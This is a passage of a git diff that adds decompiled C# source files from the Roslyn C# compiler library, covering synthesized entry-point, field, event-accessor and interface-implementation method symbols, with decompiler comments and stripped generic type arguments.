scriptInitializer = _containingType.GetScriptInitializer(); + BoundParameter item = new BoundParameter((SyntaxNode)(object)syntax, _parameters[0]) + { + WasCompilerGenerated = true + }; + BoundLocal boundLocal = new BoundLocal((SyntaxNode)(object)syntax, new SynthesizedLocal(this, TypeWithAnnotations.Create(_containingType), (SynthesizedLocalKind)(-2), null, isPinned: false, isKnownToReferToTempIfReferenceType: false, (RefKind)0), null, _containingType) + { + WasCompilerGenerated = true + }; + BoundExpressionStatement item2 = new BoundExpressionStatement((SyntaxNode)(object)syntax, new BoundAssignmentOperator((SyntaxNode)(object)syntax, boundLocal, new BoundObjectCreationExpression((SyntaxNode)(object)syntax, scriptConstructor, ImmutableArray.Create((BoundExpression)item), default(ImmutableArray), default(ImmutableArray), expanded: false, default(ImmutableArray), default(BitVector), null, null, _containingType) + { + WasCompilerGenerated = true + }, _containingType) + { + WasCompilerGenerated = true + }) + { + WasCompilerGenerated = true + }; + BoundCall expressionOpt = CreateParameterlessCall(syntax, boundLocal, (ThreeState)1, scriptInitializer); + BoundReturnStatement item3 = new BoundReturnStatement((SyntaxNode)(object)syntax, (RefKind)0, expressionOpt, @checked: false) + { + WasCompilerGenerated = true + }; + return new BoundBlock((SyntaxNode)(object)syntax, ImmutableArray.Create(boundLocal.LocalSymbol), ImmutableArray.Create((BoundStatement)item2, (BoundStatement)item3)) + { + WasCompilerGenerated = true + }; + } + } + + internal const string MainName = "
"; + + internal const string FactoryName = ""; + + private readonly NamedTypeSymbol _containingType; + + internal override bool GenerateDebugInfo => false; + + public override Symbol ContainingSymbol => _containingType; + + public abstract override string Name { get; } + + internal override bool HasSpecialName => true; + + internal override MethodImplAttributes ImplementationAttributes => MethodImplAttributes.IL; + + internal override bool RequiresSecurityObject => false; + + public override bool IsVararg => false; + + public override ImmutableArray TypeParameters => ImmutableArray.Empty; + + public override Accessibility DeclaredAccessibility => (Accessibility)1; + + public override ImmutableArray Locations => ImmutableArray.Empty; + + public override ImmutableArray DeclaringSyntaxReferences => ImmutableArray.Empty; + + public override RefKind RefKind => (RefKind)0; + + public override ImmutableArray RefCustomModifiers => ImmutableArray.Empty; + + public override ImmutableArray TypeArgumentsWithAnnotations => ImmutableArray.Empty; + + public override Symbol AssociatedSymbol => null; + + public override int Arity => 0; + + public override bool ReturnsVoid => base.ReturnType.IsVoidType(); + + public sealed override FlowAnalysisAnnotations ReturnTypeFlowAnalysisAnnotations => FlowAnalysisAnnotations.None; + + public sealed override ImmutableHashSet ReturnNotNullIfParameterNotNull => ImmutableHashSet.Empty; + + public sealed override FlowAnalysisAnnotations FlowAnalysisAnnotations => FlowAnalysisAnnotations.None; + + public override MethodKind MethodKind => (MethodKind)10; + + public override bool IsExtern => false; + + public override bool IsSealed => false; + + public override bool IsAbstract => false; + + public override bool IsOverride => false; + + public override bool IsVirtual => false; + + public override bool IsStatic => true; + + public override bool IsAsync => false; + + public override bool HidesBaseMethodsByName => false; + + public override bool IsExtensionMethod => false; + + internal sealed override ObsoleteAttributeData ObsoleteAttributeData => null; + + internal override CallingConvention CallingConvention => (CallingConvention)0; + + internal override bool IsExplicitInterfaceImplementation => false; + + public override ImmutableArray ExplicitInterfaceImplementations => ImmutableArray.Empty; + + internal sealed override bool IsDeclaredReadOnly => false; + + internal sealed override bool IsInitOnly => false; + + internal override bool IsMetadataFinal => false; + + public override bool IsImplicitlyDeclared => true; + + public sealed override bool AreLocalsZeroed => ContainingType.AreLocalsZeroed; + + internal override MarshalPseudoCustomAttributeData ReturnValueMarshallingInformation => null; + + internal override bool HasDeclarativeSecurity => false; + + protected sealed override bool HasSetsRequiredMembersImpl + { + get + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/Synthesized/SynthesizedEntryPointSymbol.cs", 311); + } + } + + internal sealed override bool HasUnscopedRefAttribute => false; + + internal sealed override bool UseUpdatedEscapeRules => ContainingModule.UseUpdatedEscapeRules; + + internal static SynthesizedEntryPointSymbol Create(SynthesizedInteractiveInitializerMethod initializerMethod, BindingDiagnosticBag diagnostics) + { + NamedTypeSymbol containingType = initializerMethod.ContainingType; + CSharpCompilation declaringCompilation = containingType.DeclaringCompilation; + if (((Compilation)declaringCompilation).IsSubmission) + { + NamedTypeSymbol specialType = Binder.GetSpecialType(declaringCompilation, (SpecialType)1, (SyntaxNode)(object)DummySyntax(), diagnostics); + ArrayTypeSymbol arrayTypeSymbol = declaringCompilation.CreateArrayTypeSymbol(specialType); + diagnostics.ReportUseSite(arrayTypeSymbol, NoLocation.Singleton); + return new SubmissionEntryPoint(containingType, initializerMethod.ReturnTypeWithAnnotations, arrayTypeSymbol); + } + NamedTypeSymbol specialType2 = Binder.GetSpecialType(declaringCompilation, (SpecialType)6, (SyntaxNode)(object)DummySyntax(), diagnostics); + return new ScriptEntryPoint(containingType, TypeWithAnnotations.Create(specialType2)); + } + + private SynthesizedEntryPointSymbol(NamedTypeSymbol containingType) + { + _containingType = containingType; + } + + internal abstract BoundBlock CreateBody(BindingDiagnosticBag diagnostics); + + internal sealed override UnmanagedCallersOnlyAttributeData GetUnmanagedCallersOnlyAttributeData(bool forceComplete) + { + return null; + } + + internal sealed override bool IsMetadataNewSlot(bool ignoreInterfaceImplementationChanges = false) + { + return false; + } + + internal sealed override bool IsMetadataVirtual(bool ignoreInterfaceImplementationChanges = false) + { + return false; + } + + public override DllImportData GetDllImportData() + { + return null; + } + + internal override IEnumerable GetSecurityInformation() + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/Synthesized/SynthesizedEntryPointSymbol.cs", 272); + } + + internal sealed override ImmutableArray GetAppliedConditionalSymbols() + { + return ImmutableArray.Empty; + } + + internal override int CalculateLocalSyntaxOffset(int localPosition, SyntaxTree localTree) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/Synthesized/SynthesizedEntryPointSymbol.cs", 282); + } + + private static CSharpSyntaxNode DummySyntax() + { + return (CSharpSyntaxNode)(object)CSharpSyntaxTree.Dummy.GetRoot(default(CancellationToken)); + } + + private static BoundCall CreateParameterlessCall(CSharpSyntaxNode syntax, BoundExpression receiver, ThreeState receiverIsSubjectToCloning, MethodSymbol method) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0029: Unknown result type (might be due to invalid IL or missing references) + //IL_002f: Unknown result type (might be due to invalid IL or missing references) + return new BoundCall((SyntaxNode)(object)syntax, receiver, receiverIsSubjectToCloning, method, ImmutableArray.Empty, default(ImmutableArray), default(ImmutableArray), isDelegateCall: false, expanded: false, invokedAsExtensionMethod: false, default(ImmutableArray), default(BitVector), LookupResultKind.Viable, method.ReturnType) + { + WasCompilerGenerated = true + }; + } + + internal sealed override bool IsNullableAnalysisEnabled() + { + return false; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedEnumValueFieldSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedEnumValueFieldSymbol.cs new file mode 100644 index 0000000..c046795 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedEnumValueFieldSymbol.cs @@ -0,0 +1,29 @@ +using System.Collections.Immutable; +using Microsoft.CodeAnalysis.CSharp.Emit; +using Microsoft.CodeAnalysis.PooledObjects; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal sealed class SynthesizedEnumValueFieldSymbol : SynthesizedFieldSymbolBase +{ + internal override bool SuppressDynamicAttribute => true; + + public override RefKind RefKind => (RefKind)0; + + public override ImmutableArray RefCustomModifiers => ImmutableArray.Empty; + + public SynthesizedEnumValueFieldSymbol(SourceNamedTypeSymbol containingEnum) + : base(containingEnum, "value__", isPublic: true, isReadOnly: false, isStatic: false) + { + } + + internal override TypeWithAnnotations GetFieldType(ConsList fieldsBeingBound) + { + return TypeWithAnnotations.Create(((SourceNamedTypeSymbol)ContainingType).EnumUnderlyingType); + } + + internal override void AddSynthesizedAttributes(PEModuleBuilder moduleBuilder, ref ArrayBuilder attributes) + { + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedEventAccessorSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedEventAccessorSymbol.cs new file mode 100644 index 0000000..c6e53cc --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedEventAccessorSymbol.cs @@ -0,0 +1,71 @@ +using System.Reflection; +using Microsoft.CodeAnalysis.CSharp.Emit; +using Microsoft.CodeAnalysis.CSharp.Syntax; +using Microsoft.CodeAnalysis.PooledObjects; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal sealed class SynthesizedEventAccessorSymbol : SourceEventAccessorSymbol +{ + private readonly object _methodChecksLockObject = new object(); + + public override bool IsImplicitlyDeclared => true; + + internal override bool GenerateDebugInfo => false; + + protected override SourceMemberMethodSymbol BoundAttributesSource + { + get + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Invalid comparison between Unknown and I4 + if ((int)MethodKind != 5) + { + return null; + } + return (SourceMemberMethodSymbol)base.AssociatedEvent.RemoveMethod; + } + } + + protected override IAttributeTargetSymbol AttributeOwner => base.AssociatedEvent; + + protected override object MethodChecksLockObject => _methodChecksLockObject; + + internal override MethodImplAttributes ImplementationAttributes + { + get + { + MethodImplAttributes methodImplAttributes = base.ImplementationAttributes; + if (!IsAbstract && !base.AssociatedEvent.IsWindowsRuntimeEvent && !ContainingType.IsStructType() && (object)DeclaringCompilation.GetWellKnownTypeMember((WellKnownMember)141) == null) + { + methodImplAttributes |= MethodImplAttributes.Synchronized; + } + return methodImplAttributes; + } + } + + internal SynthesizedEventAccessorSymbol(SourceEventSymbol @event, bool isAdder, bool isExpressionBodied, EventSymbol explicitlyImplementedEventOpt = null, string aliasQualifierOpt = null) + : base(@event, null, @event.Location, explicitlyImplementedEventOpt, aliasQualifierOpt, isAdder, isIterator: false, isNullableAnalysisEnabled: false, isExpressionBodied) + { + } + + internal override OneOrMany> GetAttributeDeclarations() + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + return OneOrMany.Create>(base.AssociatedEvent.AttributeDeclarationSyntaxList); + } + + internal override void AddSynthesizedAttributes(PEModuleBuilder moduleBuilder, ref ArrayBuilder attributes) + { + base.AddSynthesizedAttributes(moduleBuilder, ref attributes); + CSharpCompilation declaringCompilation = DeclaringCompilation; + Symbol.AddSynthesizedAttribute(ref attributes, declaringCompilation.TrySynthesizeAttribute((WellKnownMember)112)); + } + + internal override ExecutableCodeBinder TryGetBodyBinder(BinderFactory binderFactoryOpt = null, bool ignoreAccessibility = false) + { + return TryGetBodyBinderFromSyntax(binderFactoryOpt, ignoreAccessibility); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedExplicitImplementationForwardingMethod.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedExplicitImplementationForwardingMethod.cs new file mode 100644 index 0000000..4557f70 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedExplicitImplementationForwardingMethod.cs @@ -0,0 +1,51 @@ +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal sealed class SynthesizedExplicitImplementationForwardingMethod : SynthesizedImplementationMethod +{ + private readonly MethodSymbol _implementingMethod; + + internal override bool SynthesizesLoweredBoundBody => true; + + public MethodSymbol ImplementingMethod => _implementingMethod; + + public override MethodKind MethodKind + { + get + { + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + if (!_implementingMethod.IsAccessor()) + { + return (MethodKind)8; + } + return _implementingMethod.MethodKind; + } + } + + public override bool IsStatic => _implementingMethod.IsStatic; + + internal override bool HasSpecialName => false; + + internal sealed override bool HasRuntimeSpecialName => false; + + internal override void GenerateMethodBody(TypeCompilationState compilationState, BindingDiagnosticBag diagnostics) + { + SyntheticBoundNodeFactory syntheticBoundNodeFactory = new SyntheticBoundNodeFactory(this, (SyntaxNode)(object)this.GetNonNullSyntaxNode(), compilationState, diagnostics); + syntheticBoundNodeFactory.CurrentFunction = OriginalDefinition; + try + { + MethodSymbol methodToInvoke = (IsGenericMethod ? ImplementingMethod.Construct(ImmutableArrayExtensions.Cast(TypeParameters)) : ImplementingMethod); + syntheticBoundNodeFactory.CloseMethod(MethodBodySynthesizer.ConstructSingleInvocationMethodBody(syntheticBoundNodeFactory, methodToInvoke, useBaseReference: false)); + } + catch (SyntheticBoundNodeFactory.MissingPredefinedMember missingPredefinedMember) + { + ((BindingDiagnosticBag)diagnostics).Add(missingPredefinedMember.Diagnostic); + syntheticBoundNodeFactory.CloseMethod(syntheticBoundNodeFactory.ThrowNull()); + } + } + + public SynthesizedExplicitImplementationForwardingMethod(MethodSymbol interfaceMethod, MethodSymbol implementingMethod, NamedTypeSymbol implementingType) + : base(interfaceMethod, implementingType, null, generateDebugInfo: false) + { + _implementingMethod = implementingMethod; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedFieldSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedFieldSymbol.cs new file mode 100644 index 0000000..b867cdd --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedFieldSymbol.cs @@ -0,0 +1,26 @@ +using System.Collections.Immutable; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal sealed class SynthesizedFieldSymbol : SynthesizedFieldSymbolBase +{ + private readonly TypeWithAnnotations _type; + + public override RefKind RefKind => (RefKind)0; + + public override ImmutableArray RefCustomModifiers => ImmutableArray.Empty; + + internal override bool SuppressDynamicAttribute => true; + + public SynthesizedFieldSymbol(NamedTypeSymbol containingType, TypeSymbol type, string name, bool isPublic = false, bool isReadOnly = false, bool isStatic = false) + : base(containingType, name, isPublic, isReadOnly, isStatic) + { + _type = TypeWithAnnotations.Create(type); + } + + internal override TypeWithAnnotations GetFieldType(ConsList fieldsBeingBound) + { + return _type; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedFieldSymbolBase.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedFieldSymbolBase.cs new file mode 100644 index 0000000..40937dd --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedFieldSymbolBase.cs @@ -0,0 +1,99 @@ +using System.Collections.Immutable; +using Microsoft.CodeAnalysis.CSharp.Emit; +using Microsoft.CodeAnalysis.PooledObjects; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal abstract class SynthesizedFieldSymbolBase : FieldSymbol +{ + private readonly NamedTypeSymbol _containingType; + + private readonly string _name; + + private readonly DeclarationModifiers _modifiers; + + internal abstract bool SuppressDynamicAttribute { get; } + + public override FlowAnalysisAnnotations FlowAnalysisAnnotations => FlowAnalysisAnnotations.None; + + public override string Name => _name; + + public override Symbol AssociatedSymbol => null; + + public override bool IsReadOnly => (_modifiers & DeclarationModifiers.ReadOnly) != 0; + + public override bool IsVolatile => false; + + public override bool IsConst => false; + + internal override bool IsNotSerialized => false; + + internal override MarshalPseudoCustomAttributeData MarshallingInformation => null; + + internal override int? TypeLayoutOffset => null; + + internal sealed override ObsoleteAttributeData ObsoleteAttributeData => null; + + public override Symbol ContainingSymbol => _containingType; + + public override NamedTypeSymbol ContainingType => _containingType; + + public override ImmutableArray Locations => ImmutableArray.Empty; + + public override ImmutableArray DeclaringSyntaxReferences => ImmutableArray.Empty; + + public override Accessibility DeclaredAccessibility => ModifierUtils.EffectiveAccessibility(_modifiers); + + public override bool IsStatic => (_modifiers & DeclarationModifiers.Static) != 0; + + internal override bool HasSpecialName => HasRuntimeSpecialName; + + internal override bool HasRuntimeSpecialName => Name == "value__"; + + public override bool IsImplicitlyDeclared => true; + + internal override bool IsRequired => false; + + public SynthesizedFieldSymbolBase(NamedTypeSymbol containingType, string name, bool isPublic, bool isReadOnly, bool isStatic) + { + _containingType = containingType; + _name = name; + _modifiers = (DeclarationModifiers)((isPublic ? 16 : 256) | (isReadOnly ? 1024 : 0) | (isStatic ? 4 : 0)); + } + + internal override void AddSynthesizedAttributes(PEModuleBuilder moduleBuilder, ref ArrayBuilder attributes) + { + base.AddSynthesizedAttributes(moduleBuilder, ref attributes); + CSharpCompilation declaringCompilation = DeclaringCompilation; + TypeWithAnnotations typeWithAnnotations = base.TypeWithAnnotations; + TypeSymbol type = typeWithAnnotations.Type; + if (!_containingType.IsImplicitlyDeclared) + { + Symbol.AddSynthesizedAttribute(ref attributes, declaringCompilation.TrySynthesizeAttribute((WellKnownMember)112)); + } + if (!SuppressDynamicAttribute && type.ContainsDynamic() && declaringCompilation.HasDynamicEmitAttributes(BindingDiagnosticBag.Discarded, Location.None) && declaringCompilation.CanEmitBoolean()) + { + Symbol.AddSynthesizedAttribute(ref attributes, declaringCompilation.SynthesizeDynamicAttribute(type, typeWithAnnotations.CustomModifiers.Length, (RefKind)0)); + } + if (declaringCompilation.ShouldEmitNativeIntegerAttributes(type)) + { + Symbol.AddSynthesizedAttribute(ref attributes, moduleBuilder.SynthesizeNativeIntegerAttribute(this, type)); + } + if (type.ContainsTupleNames() && declaringCompilation.HasTupleNamesAttributes(BindingDiagnosticBag.Discarded, Location.None) && declaringCompilation.CanEmitSpecialType((SpecialType)20)) + { + Symbol.AddSynthesizedAttribute(ref attributes, declaringCompilation.SynthesizeTupleNamesAttribute(base.Type)); + } + if (declaringCompilation.ShouldEmitNullableAttributes(this)) + { + Symbol.AddSynthesizedAttribute(ref attributes, moduleBuilder.SynthesizeNullableAttributeIfNecessary(this, ContainingType.GetNullableContextValue(), typeWithAnnotations)); + } + } + + internal abstract override TypeWithAnnotations GetFieldType(ConsList fieldsBeingBound); + + internal override ConstantValue GetConstantValue(ConstantFieldsInProgress inProgress, bool earlyDecodingWellKnownAttributes) + { + return null; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedGlobalMethodSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedGlobalMethodSymbol.cs new file mode 100644 index 0000000..41b89e8 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedGlobalMethodSymbol.cs @@ -0,0 +1,233 @@ +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Reflection; +using Microsoft.Cci; +using Microsoft.CodeAnalysis.CodeGen; +using Microsoft.CodeAnalysis.Symbols; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal abstract class SynthesizedGlobalMethodSymbol : MethodSymbol, ISynthesizedGlobalMethodSymbol +{ + private readonly ModuleSymbol _containingModule; + + private readonly PrivateImplementationDetails _privateImplType; + + private TypeSymbol _returnType; + + private ImmutableArray _parameters; + + private ImmutableArray _typeParameters; + + private readonly string _name; + + public sealed override bool IsImplicitlyDeclared => true; + + internal sealed override bool GenerateDebugInfo => false; + + internal sealed override ModuleSymbol ContainingModule => _containingModule; + + public sealed override AssemblySymbol ContainingAssembly => _containingModule.ContainingAssembly; + + public sealed override Symbol ContainingSymbol => null; + + public sealed override NamedTypeSymbol ContainingType => null; + + public PrivateImplementationDetails ContainingPrivateImplementationDetailsType => _privateImplType; + + public override string Name => _name; + + internal override bool HasSpecialName => false; + + internal override MethodImplAttributes ImplementationAttributes => MethodImplAttributes.IL; + + internal override bool RequiresSecurityObject => false; + + public sealed override FlowAnalysisAnnotations ReturnTypeFlowAnalysisAnnotations => FlowAnalysisAnnotations.None; + + public sealed override ImmutableHashSet ReturnNotNullIfParameterNotNull => ImmutableHashSet.Empty; + + public sealed override bool AreLocalsZeroed => ContainingModule.AreLocalsZeroed; + + internal override MarshalPseudoCustomAttributeData ReturnValueMarshallingInformation => null; + + internal override bool HasDeclarativeSecurity => false; + + internal sealed override ObsoleteAttributeData ObsoleteAttributeData => null; + + public override bool IsVararg => false; + + public override ImmutableArray TypeParameters + { + get + { + if (_typeParameters.IsDefault) + { + return ImmutableArray.Empty; + } + return _typeParameters; + } + } + + public override ImmutableArray Parameters + { + get + { + if (_parameters.IsDefault) + { + return ImmutableArray.Empty; + } + return _parameters; + } + } + + public override Accessibility DeclaredAccessibility => (Accessibility)4; + + public override ImmutableArray Locations => ImmutableArray.Empty; + + public override ImmutableArray DeclaringSyntaxReferences => ImmutableArray.Empty; + + public override RefKind RefKind => (RefKind)0; + + public override TypeWithAnnotations ReturnTypeWithAnnotations => TypeWithAnnotations.Create(_returnType); + + public sealed override FlowAnalysisAnnotations FlowAnalysisAnnotations => FlowAnalysisAnnotations.None; + + public override ImmutableArray RefCustomModifiers => ImmutableArray.Empty; + + public override ImmutableArray TypeArgumentsWithAnnotations => ImmutableArray.Empty; + + public override Symbol AssociatedSymbol => null; + + public override int Arity => TypeParameters.Length; + + public override bool ReturnsVoid => base.ReturnType.IsVoidType(); + + public override MethodKind MethodKind => (MethodKind)10; + + public override bool IsExtern => false; + + public override bool IsSealed => false; + + public override bool IsAbstract => false; + + public override bool IsOverride => false; + + public override bool IsVirtual => false; + + public override bool IsStatic => true; + + public override bool IsAsync => false; + + public override bool HidesBaseMethodsByName => false; + + internal override bool IsMetadataFinal => false; + + public override bool IsExtensionMethod => false; + + internal override CallingConvention CallingConvention + { + get + { + if (!IsGenericMethod) + { + return (CallingConvention)0; + } + return (CallingConvention)16; + } + } + + internal override bool IsExplicitInterfaceImplementation => false; + + public override ImmutableArray ExplicitInterfaceImplementations => ImmutableArray.Empty; + + internal sealed override bool IsDeclaredReadOnly => false; + + internal sealed override bool IsInitOnly => false; + + internal override bool SynthesizesLoweredBoundBody => true; + + protected sealed override bool HasSetsRequiredMembersImpl + { + get + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/Synthesized/SynthesizedGlobalMethodSymbol.cs", 376); + } + } + + internal sealed override bool HasUnscopedRefAttribute => false; + + internal sealed override bool UseUpdatedEscapeRules => _containingModule.UseUpdatedEscapeRules; + + internal SynthesizedGlobalMethodSymbol(ModuleSymbol containingModule, PrivateImplementationDetails privateImplType, string name) + { + _containingModule = containingModule; + _privateImplType = privateImplType; + _name = name; + } + + internal SynthesizedGlobalMethodSymbol(ModuleSymbol containingModule, PrivateImplementationDetails privateImplType, TypeSymbol returnType, string name) + : this(containingModule, privateImplType, name) + { + _returnType = returnType; + _typeParameters = ImmutableArray.Empty; + } + + protected void SetReturnType(TypeSymbol returnType) + { + _returnType = returnType; + } + + protected void SetParameters(ImmutableArray parameters) + { + _parameters = parameters; + } + + protected void SetTypeParameters(ImmutableArray typeParameters) + { + _typeParameters = typeParameters; + } + + public override DllImportData GetDllImportData() + { + return null; + } + + internal override IEnumerable GetSecurityInformation() + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/Synthesized/SynthesizedGlobalMethodSymbol.cs", 161); + } + + internal sealed override UnmanagedCallersOnlyAttributeData GetUnmanagedCallersOnlyAttributeData(bool forceComplete) + { + return null; + } + + internal sealed override ImmutableArray GetAppliedConditionalSymbols() + { + return ImmutableArray.Empty; + } + + internal sealed override bool IsMetadataNewSlot(bool ignoreInterfaceImplementationChanges = false) + { + return false; + } + + internal sealed override bool IsMetadataVirtual(bool ignoreInterfaceImplementationChanges = false) + { + return false; + } + + internal abstract override void GenerateMethodBody(TypeCompilationState compilationState, BindingDiagnosticBag diagnostics); + + internal override int CalculateLocalSyntaxOffset(int localPosition, SyntaxTree localTree) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/Synthesized/SynthesizedGlobalMethodSymbol.cs", 371); + } + + internal sealed override bool IsNullableAnalysisEnabled() + { + return false; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedImplementationMethod.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedImplementationMethod.cs new file mode 100644 index 0000000..1acea04 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedImplementationMethod.cs @@ -0,0 +1,145 @@ +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Reflection; +using Microsoft.Cci; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal abstract class SynthesizedImplementationMethod : SynthesizedInstanceMethodSymbol +{ + protected readonly MethodSymbol _interfaceMethod; + + private readonly NamedTypeSymbol _implementingType; + + private readonly bool _generateDebugInfo; + + private readonly PropertySymbol _associatedProperty; + + private readonly ImmutableArray _explicitInterfaceImplementations; + + private readonly ImmutableArray _typeParameters; + + private readonly ImmutableArray _parameters; + + private readonly string _name; + + public sealed override bool IsVararg => _interfaceMethod.IsVararg; + + public sealed override int Arity => _interfaceMethod.Arity; + + public sealed override bool ReturnsVoid => _interfaceMethod.ReturnsVoid; + + internal sealed override CallingConvention CallingConvention => _interfaceMethod.CallingConvention; + + public sealed override ImmutableArray RefCustomModifiers => _interfaceMethod.RefCustomModifiers; + + internal sealed override bool GenerateDebugInfo => _generateDebugInfo; + + public sealed override ImmutableArray TypeParameters => _typeParameters; + + public sealed override ImmutableArray TypeArgumentsWithAnnotations => GetTypeParametersAsTypeArguments(); + + public sealed override RefKind RefKind => _interfaceMethod.RefKind; + + public sealed override TypeWithAnnotations ReturnTypeWithAnnotations => _interfaceMethod.ReturnTypeWithAnnotations; + + public sealed override FlowAnalysisAnnotations ReturnTypeFlowAnalysisAnnotations => FlowAnalysisAnnotations.None; + + public sealed override ImmutableHashSet ReturnNotNullIfParameterNotNull => ImmutableHashSet.Empty; + + public sealed override ImmutableArray Parameters => _parameters; + + public sealed override Symbol ContainingSymbol => _implementingType; + + public sealed override NamedTypeSymbol ContainingType => _implementingType; + + internal sealed override bool IsExplicitInterfaceImplementation => true; + + public sealed override ImmutableArray ExplicitInterfaceImplementations => _explicitInterfaceImplementations; + + public override MethodKind MethodKind => (MethodKind)8; + + public sealed override Accessibility DeclaredAccessibility => (Accessibility)1; + + public sealed override Symbol AssociatedSymbol => _associatedProperty; + + public sealed override bool HidesBaseMethodsByName => false; + + public sealed override ImmutableArray Locations => ImmutableArray.Empty; + + public override bool IsStatic => false; + + public sealed override bool IsAsync => false; + + public sealed override bool IsVirtual => false; + + public sealed override bool IsOverride => false; + + public sealed override bool IsAbstract => false; + + public sealed override bool IsSealed => false; + + public sealed override bool IsExtern => false; + + public sealed override bool IsExtensionMethod => false; + + public sealed override string Name => _name; + + internal override bool HasSpecialName => _interfaceMethod.HasSpecialName; + + internal sealed override MethodImplAttributes ImplementationAttributes => MethodImplAttributes.IL; + + internal sealed override bool RequiresSecurityObject => _interfaceMethod.RequiresSecurityObject; + + internal sealed override bool IsMetadataFinal => !IsStatic; + + internal sealed override MarshalPseudoCustomAttributeData ReturnValueMarshallingInformation => null; + + internal sealed override bool HasDeclarativeSecurity => false; + + protected sealed override bool HasSetsRequiredMembersImpl + { + get + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/Synthesized/SynthesizedImplementationMethod.cs", 269); + } + } + + public SynthesizedImplementationMethod(MethodSymbol interfaceMethod, NamedTypeSymbol implementingType, string name = null, bool generateDebugInfo = true, PropertySymbol associatedProperty = null) + { + _name = name ?? ExplicitInterfaceHelpers.GetMemberName(interfaceMethod.Name, interfaceMethod.ContainingType, null); + _implementingType = implementingType; + _generateDebugInfo = generateDebugInfo; + _associatedProperty = associatedProperty; + _explicitInterfaceImplementations = ImmutableArray.Create(interfaceMethod); + (interfaceMethod.ContainingType.TypeSubstitution ?? TypeMap.Empty).WithAlphaRename(interfaceMethod, this, out _typeParameters); + _interfaceMethod = interfaceMethod.ConstructIfGeneric(TypeArgumentsWithAnnotations); + _parameters = SynthesizedParameterSymbol.DeriveParameters(_interfaceMethod, this); + } + + internal sealed override bool IsMetadataVirtual(bool ignoreInterfaceImplementationChanges = false) + { + return !IsStatic; + } + + internal sealed override bool IsMetadataNewSlot(bool ignoreInterfaceImplementationChanges = false) + { + return !IsStatic; + } + + public sealed override DllImportData GetDllImportData() + { + return null; + } + + internal sealed override IEnumerable GetSecurityInformation() + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/Synthesized/SynthesizedImplementationMethod.cs", 261); + } + + internal sealed override ImmutableArray GetAppliedConditionalSymbols() + { + return ImmutableArray.Empty; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedInlineArrayAsReadOnlySpanMethod.cs 